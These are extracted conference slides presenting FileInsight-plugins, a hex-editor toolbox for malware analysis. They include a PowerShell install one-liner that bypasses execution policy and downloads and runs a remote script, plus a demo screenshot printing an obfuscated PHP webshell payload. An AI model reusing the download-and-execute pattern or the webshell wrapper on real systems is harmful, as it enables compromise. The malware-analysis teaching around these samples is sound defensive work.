blackhat USA 2021 August 4-5, 2021

ARSENAL

FileInsight-plugins: Decoding Toolbox of McAfee FileInsight Hex Editor for Malware Analysis

Nobutaka Mantani

@BLACKHATEVENTS



About the presenter

Nobutaka Mantani

- Government official
 - Assistant director of Cyber Force Center, National Police Agency of Japan
 - Experiences in cyber threat intelligence, malware analysis and digital forensics
- Open source software developer
 - Member of FreeBSD Project (ports committer) since 2001
 - Developer of FileInsight-plugins
 - I love open source software!





Japan al forensics

A **@BLACKHATEVENTS**





FileInsight-plugins

- Large set of plugins for McAfee FileInsight hex editor
 - **115 plugins** as of July 2021
- Useful for surface analysis and manual deobfuscation in malware analysis
- Development started in 2012
- Private project and developed at home (not a product of the Japanese government)
- GitHub repository: <u>https://github.com/nmantani/FileInsight-plugins</u>



@BLACKHATEVENTS





FileInsight

- Free hex editor developed by McAfee, LLC
- Useful built-in functions
 - Decoders (XOR, BASE64 and so on)
 - Bookmarks
 - File structure parser (HTML, OLE and PE)
 - Scripting of Python 2 and JavaScript
- **Extendable with Python plugins!**



https://www.mcafee.com/enterprise/en-us/downloads/free-tools/fileInsight.html





Pre-requisites and plugin architecture

- FileInsight
- Python 3 (x64)
- About 20 Python 3 modules
- Compression libraries
 - aPLib and QuickLZ
- External tool
 - ExifTool (as metadata parser)



#BHUSA @BLACKHATEVENTS

4 / 98



Installation

Please execute this one-liner command and clicking "Yes" on UAC dialog a few times:

powershell -exec bypass -command "IEX((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/nmantani/ FileInsight-plugins/master/install.ps1'))"

FileInsight-plugins and all pre-requisites will be installed



@BLACKHATEVENTS





How to use

- Please click "Operations" in the "Plugins" tab then choose a plugin from the menu
- Plugins can also be used from the right-click menu

Click	File <u>H</u> ome	<u>E</u> dit <u>S</u> earch	Plugins Windows H	le <u>i</u> p
		1		
nere	Operation:	Basic 🕨 🕨	Copy to new file	
		Compression 🔹 🕨	Bookmark Copy s	elected region (the whole file if not selected) to a new file
	and the second se	Crypto 🕨	Cut binary to clipboard	
	Plugins	Encoding 🕨 🕨	Copy binary to clipboard	
	Navigation	Misc 🕨	Paste binary from clipboard	
	0 x8664 hello	Parsing 🕨 🕨	Delete before	
	Entry Po	Search 🕨	Delete after	4D 5A 90 00 03 00 00 00 04 00 00 00
	E Sections	Visualization 🕨	Fill	
	🧼 .text	XOR 🕨	Invert	
	.data	Check for update	Reverse order	OF 1F BA OF 00 B4 09 CD 21 B8 01 4C
	,rdat	Version info	Swap nibbles	69 73 20 70 72 6F 67 72 61 6D 20 63
	,pua		Swap two bytes	74 20 62 65 20 72 75 6E 20 69 6E 20
	.bss Write	e	To upper case	6D 6E 64 65 2E 0D 0D 0A 24 00 00 00
	.idata Wr	rite	To lower case	50 45 00 00 64 86 09 00 4B A8 3D 5D
	.CRT Writ	te	Swap case	00 00 00 00 F0 00 2F 02 0B 02 02 1F
	🔗 .tls Write		04000000 OA0	00 38 00 00 00 0A 00 00 E0 14 00 00
	······*t\$ Imports 0 Lib	oraries	000000В0	00 00 40 00 00 00 00 00 00 10 00 00

			_
x8664_hello.exe ×			
0000000	4D 5A	90 00 03 00 00 0)
0000010	B8 00	00 00 00 00 00 00)
00000020) 00 00 -	<u>na na na na na h</u>)
00000030	00 00	🤊 Undo)
0000040	0E 11 (🔁 Redo	2
00000050	69 7:	X Cut	7
00000060	74 20		5
00000070	6D 61	Сору)
00000080	50 4 50	Paste :)
00000090	00 00	Erase)
000000A0	00 38	Select All)
00000в0	00 00)
000000000	04 0	A View as Text)
00000000	00 в 🕻	Set Bookmark)
000000E0	00 00	Decode 🕨)
000000F0	00 00		1
00000107	/ 00 0 🧶	Plugins •	
00000110	08 00	00 00 6C 07 00 0)





6 / 98



How to use

• Some plugins show setting dialogs after choice

🖉 Strings	- 🗆 🗙		
Mode:	ASCII + UTF-16 ~		
Minimum length:	8 🛨		
Post-process:	Remove duplicates 🗸 🗸		
Decode hex / BASE64 encoded text strings			
	ОК		

🖉 YARA scan	
File to be scanned:	19be1aedc36a6f7d1fcbd9c689757d3d09b7dad713
YARA rule file:	newrule.yar
	ОК









Operation categories

• Plugins are categorized into nine operation categories

•	Basic	•	Encoding	•	Search
•	Compression	•	Misc	•	Visualization

Parsing • Crypto • XOR •







Basic operations category

- Enhancements of basic editing functionality
 - Copying a selected region as a new file
 - Filling with specified hex pattern
 - Inverting bits
 - Swapping bytes / nibbles
 - Converting to uppercase / lowercase
 - and more



A @BLACKHATEVENTS





Compression operations category

• 13 compression algorithms and formats are supported

 aPLib 	 LZMA 	Raw deflate
• Bzip2	 LZNT1 	• XZ
• Deflate (zlib)	• LZO	 Zstandard
• Gzip	• PPMd	

QuickLZ • LZ4

* Deflate without zlib header and footer (equivalent to gzdeflate() in PHP language)



(*)





Crypto operations category

• Ten crypto algorithms are supported

• AES	 ChaCha20 	 Triple DES
 ARC2 (Alleged RC2) 	• DES	 XTEA

• Salsa20

- ARC4 (Alleged RC4)
- Blowfish • TEA
- Five block cipher modes of operation are supported
 - ECB, CBC, CFB, OFB, and CTR

🖉 AES de	ecrypt				×
Mode:	CBC ~	Key length:	128 bits (16 bytes)	\sim	
Key type:	Text 🗸	Key:			
IV type:	Text 🗸	IV:			
		C	ж		







Encoding operations category

- Supported data formats
 - Hex, decimal, octal, and binary text <-> binary data
 - BASE16, BASE32, BASE58, BASE64, and BASE85 with custom table
 - Protobuf (decode only)
 - Quoted printable

Custom base64	decode
Enter base64 table:	ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnop

- ROT13 (with variable shift amount)
- Unicode escape (formats of JavaScript, C, Python, PHP, PowerShell, and so on)
- URL encode

@BLACKHATEVENTS



	_	×
qrstuvwxyz012345678	9+/=	 ок



Misc operations category

- Code emulation (explained in the next page)
- File comparison
 - Bookmarking diffs and computing ssdeep similarity score
- Calculating hash values
 - MD5, SHA1, SHA256, ssdeep, imphash, and impfuzzy
- Opening / processing data with external GUI / CUI tools
 - The external tool menu is customizable with JSON config files
 - Data can be processed with locally saved CyberChef (up to 12KB)

x86_hello.exe ×

д

0000	0000	4 D 5A	90	00
0000	0010	B8 00	00	00
0000	0020	00.00	-00	00
(GUI) ►	Detect I	t Easy	b	00
0000	PE-bear		A	0E
0000	pe-tree		b	70
0000	IDA Free	2	2	65
0000	Cutter		4	65
0000	Relyze D)esktop	b	00
0000	VS Code	2	b	00
0000	MS Pain	ıt	þ	00
0000	Excel		þ	00
0000	Word		þ	00
0000	CyberCl	hef	þ	00
0000	Custom	ize menu	þ	00
0000	OOFO	00 00	-00	00
0000	0100	00 60	00	00
	0000 (GUI) ► 0000 0000 0000 0000 0000 0000 0000 0	00000000 00000000 (GUI) ► Detect I 0000 pe-tree 0000 IDA Free 0000 Cutter 0000 Relyze I 0000 MS Pair 0000 MS Pair 0000 CyberCl 0000 Cuttor 0000 CyberCl 0000 Cuttor	00000000 4D 5A B8 00 (GUI) ► Detect It Easy PE-bear 0000 pe-tree 0000 IDA Free 0000 Cutter 0000 Relyze Desktop 0000 VS Code 0000 MS Paint 0000 Excel 0000 Excel 0000 CyberChef 0000 Customize menu 0000 00 00 00 00 00 00 00 00 00 00 00 0	00000000 4D 5A 90 000000010 B8 00 00 (GUI) ► Detect It Easy 0000 pe-tree 0000 IDA Free 0000 Cutter 0000 Relyze Desktop 0000 MS Paint 0000 Excel 0000 CyberChef 0000 Output 0000 00 60 00

A @BLACKHATEVENTS

13 / 98



"Emulate code" plugin

- Simple GUI front end of Qiling Framework (<u>https://qiling.io/</u>)
- Emulation of executable file and shellcode
 - Tracing APIs and system calls
 - Showing memory dumps with bookmarks
- Suitable for analyzing self-modifying shellcodes
- Supported OS and CPU architecture
 - Windows (x64 and x86)
 - Linux (x64, x86, ARM, ARM64, and MIPS)

00000180 66 6C 41 57 4E 55 50 7 00000190 53 75 6B 5E 6E 4D 36 3	
00000190 53 75 6B 5F 6F 4D 36 3	12 57
	36 57
000001A0 70 69 69 58 59 44 55 6	5A 67
000001B0 73 31 75 58 4F 6D 62 5	58 57
000001C0 38 6E 38 43 6F 31 64 4	4E 35
000001D0 5A 77 4B 42 6B 66 58 6	58 30
000001E0 89 9F C6 FF D5 89 C6 5	53 68
000001F0 57 53 56 68 EB 55 2E 3	3B FE
00000200 33 00 00 89 E0 6A 04 5	50 67
00000210 FF D5 53 53 53 53 56 6	58 21
00000220 75 14 68 88 13 00 00 6	58 44
00000230 CD E8 45 00 00 00 6A 4	10 68
00000240 40 00 53 68 58 A4 53 B	25 FE
00000250 68 00 20 00 00 53 56 6	58 12
00000260 74 CF 8B 07 01 C3 85 0	20 75
00000279 FF FF 31 30 2E 30 2E 3	30 2E
00000280 6A 00 53 FF D5 AF 95 0	00 00
00000290 00 00 00 00 00 00 00 00 00 00 00 00 0	00 00
000002A0 00 00 00 00 00 00 00 00 00 00 00 00 0	00 00
000002B0 00 00 00 00 00 00 00 00 00 00 00 00 0	00
mulation trace* ×	
mulation trace" × [+] 0x10727020: InternetConne	ectA (
<pre>mulation trace* × [+] 0x10727020: InternetConne [+] Syscalls called:</pre>	ectA
<pre>[+] 0x10727020: InternetConne [+] Syscalls called: [+] LoadLibraryA:</pre>	ectA
<pre>mulation trace" × [+] 0x10727020: InternetConne [+] Syscalls called: [+] LoadLibraryA: [+] {"params": {"lpLibFileN</pre>	ectA (Jame"
<pre>mulation trace" × [+] 0x10727020: InternetConne [+] Syscalls called: [+] LoadLibraryA: [+] {"params": {"lpLibFileN [+] InternetOpenA:</pre>	ectA(Name"
<pre>mulation trace" × [+] 0x10727020: InternetConne [+] Syscalls called: [+] LoadLibraryA: [+] {"params": {"lpLibFileM [+] InternetOpenA: [+] {"params": {"lpszAgent"]</pre>	ectA(Name" ': "N
<pre>mulation trace" × [+] 0x10727020: InternetConne [+] Syscalls called: [+] LoadLibraryA: [+] {"params": {"lpLibFileM [+] InternetOpenA: [+] {"params": {"lpszAgent" [+] InternetConnectA:</pre>	ectA(Name" ': "N
<pre>truition trace" × [+] 0x10727020: InternetConne [+] Syscalls called: [+] LoadLibraryA: [+] {"params": {"lpLibFileM [+] InternetOpenA: [+] {"params": {"lpszAgent" [+] InternetConnectA: [+] {"params": {"hInternet"</pre>	ectA (Name" ': "N ': 27
<pre>mulation trace" × [+] 0x10727020: InternetConne [+] Syscalls called: [+] LoadLibraryA: [+] {"params": {"lpLibFileM [+] InternetOpenA: [+] {"params": {"lpszAgent" [+] InternetConnectA: [+] {"params": {"hInternet" [+] Registries accessed:</pre>	Name" ': "N
<pre>mulation trace" × [+] 0x10727020: InternetConne [+] Syscalls called: [+] LoadLibraryA: [+] {"params": {"lpLibFileM [+] InternetOpenA: [+] {"params": {"lpszAgent" [+] InternetConnectA: [+] {"params": {"hInternet" [+] Registries accessed: [+] Strings:</pre>	ectA(Name" ': "M



#BHUSA @BLACKHATEVENTS

14 / 98



Parsing operations category

- Finding and bookmarking embedded files with binwalk (https://github.com/ReFirmLabs/binwalk)
- Code disassembly with Capstone Engine (<u>https://www.capstone-engine.org/</u>)
 - x64, x86, ARM, ARM64, MIPS, PowerPC, PowerPC64, and SPARC
- File type detection with python-magic (<u>https://github.com/ahupp/python-magic</u>)
- Parsing file structure (explained in the next page)
- Showing metadata with ExifTool (<u>https://exiftool.org/</u>)
- Strings with auto hex / BASE64 string decode



@BLACKHATEVENTS





"Parse file structure" plugin

- Attributes will be shown and bookmarked
- File parser Python modules are generated with Kaitai Struct (<u>https://kaitai.io/</u>)

Bookmarks

🗆 0x7 abi 🕁 🛍 🗖

💷 0x9 pad 🕁 🖽 💷

🗆 0x6 ei version £के£..

🗆 0x8 abi_version 🕬 🏛

⊇0x10 header.e_type →t&t

⊇0x12 header.machine>æt

⊇0x14 header.e_version £¢

⊇0x18 header.entry point

⊇0x20 header.program h...

Ox28 header.section he...

🗆 0x30 header.flags @&#@

<u>1 Av34 header e lehsize @&</u>

Book...

2 🔍 🖓

- Supported file formats
 - Gzip, RAR, ZIP, ELF, Mach-O
 - PE, MBR partition table
 - BMP, GIF, JPEG, PNG
 - Windows shortcut

nothing-26b04ea96b ×							
00000000	7F 45	4C 46	02 01	01 00	00 0		
0000001F	02 00	3E 00	01 00	00 00	E0 0		
00000020	40 00	00 00	00 00	00 00	781		
00000030	00 00	00 00	40 00	38 00	090		
00000040	06 00	00 00	04 00	00 00	40 0		
00000050	40 00	40 00	00 00	00 00	40 0		
00000060	F8 01	00 00	00 00	00 00	F8 0		
00000070	08 00	00 00	00 00	00 00	030		
00000080	38.02	00 00	00 00	00 00	38 0		
00000090	38.02	40 00	00 00	00 00	1C 0		
000000 A 0	1C 00	00 00	00 00	00 00	01 0		
000000в0	01 00	00 00	05 00	00 00	00 0		
Parsed data* ×							
0x0 - 0x3	: mag	ic ->	7f45	4c46	(hex)		

0x0 -	0x3:	magic -> 7f454c46 (hex
0x4 -	0x4:	bits -> Bits.b64: 2 (0
0x5 -	0x5:	endian -> Endian.le: 1
0x6 -	0x6:	ei_version -> 1 (0x1)
0x7 -	0x7:	abi -> OsAbi.system_v:
0x8 -	0x8:	abi_version -> 0 (0x0)
0x9 -	0xf:	pad -> 00000000000000
0x10 -	• 0x11	: header.e_type -> Obj
0x12 -	- 0x13	: header.machine -> Ma
0x14 -	• 0x17	: header.e_version ->
0x18 -	- 0x1f	: header.entry_point -
$0 \times 20 -$	-0x27	· header program heade







#BHUSA @BLACKHATEVENTS

16/98



Search operations category

- Searching, replacing, and extracting with Python regular expression
 - Bookmarking search hits
- Searching XORed and bit-rotated data
 - Search keyword can be specified with text or hex
- Scanning with YARA rule
 - Bookmarking matched strings

													-	_
zeb	orocy.ya	r ×												
	rul	.e a	apt2	8_z	eb	roc	су	{						
		stı	ing	s:										
			\$s1	=	"2	C2(046	72	656	553	A20)"	ful	lw
			Şs2	=	"2	C2()54	6F	746	516	C37	120	" f	Eul
			\$s3	=	"2	E64	46F	63	78'	' f	ull	wo	rd	11
			\$s4	=	"3	F69	964	5F	6E6	516	D65	53D	" f	- ul
			585	=	"4	365	572	74	696	566	963	361	746	555
			596	=	"1	561	774	65	722	07	061	73	737	176
			¢50 ¢a7	_	יי איי		263	72	6 E 7	.01 136	501 566	571	20F	576
			221 Ca0	_	4 11 E	061	172	72	01 1 776	50	261		200 £., 1	1
			220 C=0	_	о пс	17/		61	620	1 10	204 DU	د.	111.	w
<			589	=		1/4	1/4	61	636	083	D	IU.	ΤTΛ	or
				_		_	_	_		_	_	_	_	_
Fan	cyBearz	Zekap	ab.bin	×										
	0009	FCC	8	FF	FF	FF	FF	1C	00	00	00	37	37	36
	0009	FC1	0	36	46	37	32	36	34	32	45	36	35	37
	0009	FC2	23	32	46	36	45	00	00	00	00	FF	FF	FF
	0009	FC3	30	34	44	36	39	36	33	37	32	36	46	37
	0000	EC/		27	~ •								20	20
	0009	Pr C4	10	31	34	32	30	35	37	36	46	37	32	30
	0009	FC5	50	37 FF	34 FF	32 FF	30 FF	35 10	37 00	36 00	46 00	37 35	32 30	36 36
	0009	FC5 FC6	50 50	37 FF 37	34 FF 37	32 FF 36	30 FF 46	35 10 37	37 00 32	36 00 36	46 00 34	37 35 00	32 30 00	36 36 00
	0009)FC5)FC6)FC7	50 50 70	37 FF 37 36	34 FF 37 00	32 FF 36 00	30 FF 46 00	35 10 37 34	37 00 32 35	36 00 36 36	46 00 34 45	37 35 00 37	32 30 00 34	36 36 00 36
	0009009009009009009009009000900090009000900090009000900090009000900090009000900090000	FC5 FC6 FC7 FC7	50 50 70 80	37 FF 37 36 37	34 FF 37 00 30	32 FF 36 00 36	30 FF 46 00 31	35 10 37 34 37	37 00 32 35 33	36 00 36 36 37	46 00 34 45 33	37 35 00 37 37	32 30 00 34 37	36 00 36 36
	00090000	FC5 FC6 FC7 FC8 FC8	50 50 70 80	37 FF 37 36 37 32	34 FF 37 00 30 30	32 FF 36 00 36 37	30 FF 46 00 31 34	35 10 37 34 37 36	37 00 32 35 33 46	36 00 36 36 37 32	46 00 34 45 33 30	37 35 00 37 37 36	32 30 00 34 37 46	36 00 36 36 37
	00090000)FC5)FC6)FC7)FC8)FC8)FC9	50 50 70 80 90	57 FF 37 36 37 32 32	34 FF 37 00 30 30 30	32 FF 36 00 36 37 36	30 FF 46 00 31 34 36	35 10 37 34 37 36 36	37 00 32 35 33 46 39	36 00 36 36 37 32 36	46 00 34 45 33 30 43	37 35 00 37 37 36 36	32 30 00 34 37 46 35	36 00 36 36 37 00
	00090000)FC3)FC3)FC6)FC7)FC8)FC9)FC4	50 50 70 80 80 80	37 FF 37 36 37 32 32 32 08	34 FF 37 00 30 30 30 00	32 FF 36 00 36 37 36 00	30 FF 46 00 31 34 36 00	35 10 37 34 37 36 36 36 32	37 00 32 35 33 46 39 45	36 00 36 37 32 36 32	46 00 34 45 33 30 43 45	37 35 00 37 37 36 36 32	32 30 00 34 37 46 35 45	36 00 36 36 36 37 00 35





17 / 98



Visualization operations category

- Bitmap view
- Byte histogram
- Entropy graph





Bitmap view







Byte histogram







XOR operations category

- Guessing multibyte XOR keys based on revealed keys that are XORed with 0x00
- Rolling XOR (incrementing / decrementing XOR key)
- Null-preserving XOR
- XOR with next byte
- Visual encrypt / decrypt (used by Zeus malware)

Output	
Top ten XOR keys guessed from the whole file are as f Please select the whole file and use these XOR keys i	follows. in the Dec
XOR key: 0xe3e2e1e0dfdedddcdbdad9d8d7d6d5d4d3d2d1d0cf 256 bytes pattern occurrence count: 33 Win32 DLL found at offset 0x2233 size 33280 bytes. OLE2 Compound Document header found at offset 0x1823b Added bookmarks to the search hits.	Ececdcccbc

ode tab to decode the file.

ac9c8c7c6c5c4c3c2c1c0bfbebdbcbbba















Demo 1

- Deobfuscation of PHP webshell
- Plugins used in this demo
 - Encoding -> Custom base64 decode
 - Encoding -> ROT13
 - Compression -> Raw inflate
 - Basic -> Copy to new file
 - Misc -> Send to (CLI)
 - Misc -> Send to (GUI)



A @BLACKHATEVENTS



∀ ▼	FileInsight - fb0e2a9a9c6a9a5bd081a7e281f075e8f2225d3f51daee46454b3698133cc056.php
File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> lug	ins <u>W</u> indows He <u>i</u> p
Navigation	Enter a URL here Use Internet Explorer Proxy Enter your proxy as [Server:Port] here Web fb0e2a9a9c6a9a5bd081a7e281f07 ×
Supported for HTML, OLE2, PE and Flash.	<pre><?php eval(gzinflate(str_rot13(base64_decode('5X17k5rYlvffz6k638Hrz0doR2lWANt2nDFJe7yBoNItCAgzp0XcT2CLjICIp85qf9fegKKtnXi nz//nP3//2w8AN3ccpW7Sa9goNMPmXrAVNROkAfCYkrD2ezu/fBDrF39G91pw+XRem4w1gbi7L0ksFIDcHL100KK6w0aonD7twwSQvbYvwoorHRAEqCXaz seGuGp7Whxr9/CjM4qQvw81AP72X5W18X/7zv9vgB8Khd6e813DYNc6iQMJrezTqIGoLv+sytg/nethzfEzb8W6MpYzhVc/di4wnm6+vF3gMeu3+gimehuw1a emvwp6h8kEmWuVr1q7DoJ4sSwarF3NDse8J374BoDwb1jxHq8PbTq3/akyYCfvRdhYnTX/35s9crUWadheHMmUihTuIXTC2mOKHU2HM84LsruiaXxB103H 82G+bKB5H+L1TrcHg3chBKEJiLiQjc2384GfLBdCEixi+//OjVCN88sDghs/EwTx8cMkbgJfnbEPT0MegFIgfpe7EId+eMDBR8avV1z9aXsr+Hwadf4C 75fYpu/PxrmFs0NBqFTaiDcZ4HbyM6uwKia6R+jeD+hbCEyvO0j8DN3/8frVNUk9fOsf6J5ih/jW859V23B6J+k6eArL6FkBd7/1K5wvS6vn5v998/cg5 vju293B07hfjHOSHCj+yn+7k77Soiyatf/FkbUBgHhILUDtxVXy443UKMuq95dV10Hc+sAQ1F23s2rDrEBctkMuym5LauKD9qME996213mir0 URKe5uucivUgcd+McPmI6q21V02/OPvOHd/I34mLXFViu/W3EYy0M2C1ad8xo9We9Tg2dkuVhC2L7g8t91G8x.CRLLzSIZEqy3sVUVKiAd5C9mF/zXK39M G3GTHS51khNL17M5Az+B/atM19PVVfGWzHNajYbpcx31sQ15XaOnNmsjAH3MbqECMb2kwBhbM9bnZDUBKzMWd2GjMkG252GGa1Jxbg2yzWOIFGOCfXssGG2 BfqcpAQ2S+taQi8qx1jpQpxXc+t57NJDcc1MvLFOHMKAdFSSMftK1NV/DHLdfm6NWjVO+CbzzijXyuarw67TPj0mHcKiaJ70px2c2C02jfLwavgCeuJ IZ9QRPdzda9ZE2VfZFHOT36jRcnGceT05D710TK4Ju+boeabyYvG09wmVmMM0+DPzeTfpbNF1V4y4obD55FkLuQJAM4RB20r0koE3MigJGOdDFBceb +h7W2Ue3XsVTN071BinVE1Xqm0w1hB/iPY1LfT3zXFWgFssqNizzCGAUeay9g7XXcg1BUHD1u01H5nR5j1r3PAE5G4EWdnEcmgy992bLGAXrPe0rW1Q4f6 ripyWm2ie4qu6BPYE+obX31a0/6t6BprSDRnyNxLdbnnXRUdxG5BBJCNTC7W5DvTh5Y24nrb5xmD391PYRo+caEaHCMy9895j8ALz1VmmkrFPH9+NWL6N NjYXT/HEDBtxzz/HyvD0PBRBS9UBX6K0aQTJG+z6TFwX9ugBaf4wF88SS15C7G+nh1irc09hOPSc2dJRs2CaLkRZqu2JBqtEC+N5Q26h0sVk7d1c8bob 3ccBsjpyr4NHkfGcbN4vu1a328xh5vM0Q0y1fnFtq6QeQje0Mb35jYBNBJ2Jz7xGtnc4nt0hXaZrRbcEK8N8388EFD4+xQ83M011+9CaaCxpzqyA524NwJ rcyUDWIK+FC2Y55hjEO7Idpv1HsgdVSsG3caEJgqdHncro8kTp+Na8WVJiXGUY7VwdHErYBmn/jta0701F8VEs/VpuF9vgY7XJ7Xpuy60272eR4KWW 5zHs5f3q22VcCR8xfCt1Ar+63kne80dabjg7BAB9UTFmGAe9B9F45Km/pc3+pojJa0gc7ZAd2dVpYSuce+rm1890f8/cgMxT7NpuVe327mqAf2MwJ sze90khWRn0kPoyAbwbbeeYrYCL1u4E2EBWFs6f1LU</pre>
Values 7	yFiX1/EbviazqUE3rOUirITp9q8Zh5Qg1LBsUiLRL8K8htgsdS/rHIX8+Ou4Nkoy+Ts5CaceHnkH3Zx6DILvaJF6j2SLcHgGTPrMeqovc1fR/IiS/zfkdm2/M rbS87Fui/Z+8+1LYFE4mBf1+k5mA7wmWjfHD2odH4K3k+NNJhJIXDGIaxu5/U4f4PsyD2qtcqeLE+fvY+abDQviBaKEULbiIJZy4LMWGZFFsWyzaXYFnkZgXL
BEHEX	2FIVQYkKdLFPiRVNt7Uh6LYwVrPV/DuymxR/iJC7gMtKoe6054Y3qIPUom3S6/L8o60XTpOqx025Qx2R7TI1mH9PpLB7yLvDSDSUz7Tzr9VY39eV+6bIKJou5
byte 0 WORD 0 DWORD 0 ASCII Unicode	 ✓ Output ☑
Values Bookmarks III Calculator	Method 1: Using three plugins (Custom base64 decode, R
Press F1 for help	

McAfee[®]

٥

 \sim

4 Þ 🚽 🗙

nJvOkqisK+7L2Tb9o3Rux1+vV+v3ajknrxA0Xz4jn/ ^ f2wFu2dD2X2Hov18Amdfo4vtgctnX+wXsGz5i/OeH2 S6JdKryo+AceqpfwesmoN0V5ieVFRuYLfwwZccoE4E +q+GuzZeGr5teGrrbl3b8TjROav4DvVp01bj6NWQT3 L70aA99urdEovTrzv4QJgIsEXnz1/bPX8cOeQb7zW1 1fWySZSLEsnhg2Tp1BMh1AqfvkBt26JgHYq+u3j300 lnGKK0R6lgrcz3PuXU52I2viIm1Jiskj0E9oZ+mPVM 4ui+mpnbHZCOBWC9ChwPjladBmqaNq382/ltrVAyTt pN+VHny9FeD5kxzAOG2k3czho73M37nHZqa6hufA11 kwGJLt7MZ550/2KFmcMMfyA/LouQxifh25p02y9C50 EC5V3pxrwVsmtV77hfAZrZgXHGGlKiElLeKpEEvAL5 M78E1b+yyi8mMeo6XnWfSu9myzBZxVcc6097BTV6zY TM6LN+l1h5pmLW5cta00IJ6nWW7jSoH0r5JiP01jha CxmDaWnrOPtoea9IGPQNfZe00x07PYMtpqqL5xX2Q2 /qecLPC5NJ8L2MQY7DrJMBrX15hT6vh8nTmYgfoDNz adRsT2uozIrvNheiO4TdgE8GfIZ5NMOY0T9dUbBxuE mWezbICyGVb+5XEbo9Xp9vgEtftP5dY6TPWUm5Ps5r Y7wH/IWnzKYT3D/geSiGzfIprUHT5HOzpjIgXlT4rV L4xrIKyrZgnwii+FKF2OzPWCLapCPcoFBhE6Ue90uj ND7pQo9yn/MxbcBzzlHwFrB/uCeDns/18oy/UD7z+F vyT0GHsaQN+4RvyAePd80x5qFD/1Z0eIxxS6mr+Apj .0MaaLcD3IOQFYFOS0M07mFPi714g2I9NJSvKkyp4vc 03YxmyNvpabVeg9uvoX071VUafH7Kuqd60BpvL00ik 0u8lUpzYU2lhcYjzC1/5micMLZm1TOMH+9YM6y/jZc c9BRvfXG7A/A70MYUXLu0Z1R1rGW0C2wH6ENgFD1Uh 8mfx0/VhbiGsOaWu64MWbjB2CraHauQY+Tcu7LuRWr /McdAtcRYsaJZqVdJ5GMM/oz007cC0j7kgg6ScJVUc VY/+v81.00WwbrM5RY/OChaimCrVkv1cSRDV14+2VI

ROT13, Raw inflate)

🔁 🗓 🔌 🕼 🔛 🚾 A 🚺

2

INS

 \Box

4:32 PM

8/7/2021

♥ 📼		FileInsight - fb0e2a9a9c6a9a5bd081a7e281f075e8f2225d3f51daee46454b3698133cc056.php
File <u>H</u> on	ne <u>E</u> dit <u>S</u> earch <u>P</u> l	a <mark>gins W</mark> indows He <u>l</u> p
Deratior	Basic Compression Crypto	
Plugins	Encoding Dec	ode Mex text to binary data
Navigation	Misc End	Decimal text to binary data
X Supported	Parsing ash.	Dispersent to binary data
	Visualization	Sinary text to binary data III a te (StI_IOUIS (Dase04_decode (StI/KSIIIVII20K0S0HI20d0K2IWANC2HDF06/YB0NICCAg2p0xCI2CI)ICIP05qI5IegKKCH
		Custom base 2 decode M4gOYw81AP72X5W18X/7zy9ygB8Kbd6e813DYNg6iOMJrezTg1GoJy+sytg/netbzfEzb8W6MpYZbVg/di4wpm6+yE3gMeu3+gimebuw
	Check for undate	Custom base58 decode 11 g7DoJ4 s Sewar P3NDse8 J3J4BoDwbLixHg8PbTg3/a kyYCfyRdhYnTX/35s9crUWsd+beHxMmUihTu1XTC2mOXHUzHM84LsrwiaXxB1V
	Version info	Custom base64 decode ICHg3chBXEJiiLgig23S4cfLBdCFixi+/00iVCrx88sDghs/EwTx8cMkb0J9fnbEPT0MegFLgfpe7EId+sM0BDR8avVlz9aXSr++Mvadf
		Custom base85 decode IBNgFTaiDCZ Decode selected region with custom base64 table 8DN3/8frVNUk9f0sf6J5ih/jW859VZ3B6J+k6eaArL6FkBd7/1K5wvS6vn5vi998/c
		Protobuf decode HCj+yn+7k77Soiyatf/PKbUBgHhIYLUQtxVXye43UKWnugV5dV10Hc+sAQJ1F23GrTr22sZr0PrB6tkXMuyw5LauKD9gME99C9iI3mir
		From quoted printable McPmI6qQlYOZ/oPvoHdD/I34mLXFViu/w3tYyOMw2Clsd8Xo9vWe9Tg2dkuVhC9L7qBt9lG8xJCRhLzSIZPqy3sVYUKiAd5C9mF/zYKX
		Unicode unescape I5Az+B/atML9PYVfGWzHNajYbpcx31sQI5XaOnNmsjAH3MbqECMb2kwBnbM9bnZDrUBKzMWd2GjMkGZ5ZOGalJxbgZyzWOIFG0CfXss1G
		URL decode .8qxljpQpxOXet+57NJDccIMvLIPOHMRXedFS5NftkIMV/DNHLdfm8NWjVO+CbzzijXyuarw67IPjOmHGkiu370px2o2c0ZjrLmwqvgCe
		${\tt IZ9QRPdPzda9ZPZVfZPrHQT36jRcnGceT05D7I0TK4Ju+boeabYJvGd09wmYVmMfM0+DPzeTfpbNF1V4y4obDS55PkLuQJaM4RBZ0rQkoE3wingJG0dDFBc}$
		+h7W2Ue3XsVYNoW71BinVElXqm0wlhB/iPYlLfT3zXFWgFssqNizzCGAUeay9g7XXcqs1BUHD1uOlH5nR5j1r3PAE5G4EWdnEcmgy9M2bLGhXrPe0rWIQs4
		ripyWm2ie4qu6BPYE+obXSla0/6tGBprSDRnyNxLLdbnnXRUdxG5BBJCNTC7W5sDvtN+5Y24nrbsxmDJ91PYRo+caEaHcMyN9S8j8aMzrIVmmRrFPH9+NWL
		NjYXT/HfDbBtxzE/HyvDOpPRBRS9uBX6kOaQTJG+zGTFwX9ugBaf4wKP88SS15C7G+nhlirc09hOPSc2dJRsZCaLkNZZqu2JBqtEC+N5Q26DobsVk7dIc8b
		3ccBsjpyr4NHkiGCebN4vv1a328xh5vhWQOylinFtq6QeQjeOMbJ8jjYBBNJE2Jz/xGtnc4ntUhXaZrRbcEK8N838EeFD4+xQ83MU11+9CaaCXpzqyA524N
		rcyUDWIK+FCZIP5njeU/lapviHsgaVssG3CsaeJgqaHncro8kTp+Na8WVIJIXGUX/ItVqM+EriBnm/jtaU/UIT8VES/VpuF9Vsgi/kJ+/xpuy6VS2/eR4K
		52HeSISGAZVVCRRoxICCIAL+65Kne600dabig/BAB9uITFmGAePow9F45Tkm/pcS+pojJaugc/ZAdZdvpiSuce+imclovOio/cgMxTTAPawncFiOKDvciOy/
		ast utdu0Cat558a27taVbWu7kt158aX11ba1a5jmTu $010bVfi12PgCyX11a92sb9101syGVVy6Ku0ViiitVy5q1jcpo15a1a11iiitb05X51K00/iit0VVb11Kk2NgaastaVbVastava$
		8ap2800b/wVnBp0kPovAbwPbeeYrPXcLU4FZtBMWrSeltLU5XUCutgNtHHcP7Bv2/tHVZbgPs2dTaSD025FPb10tNvjw6f0MxUv1YWMW6NALpN8ifevBK
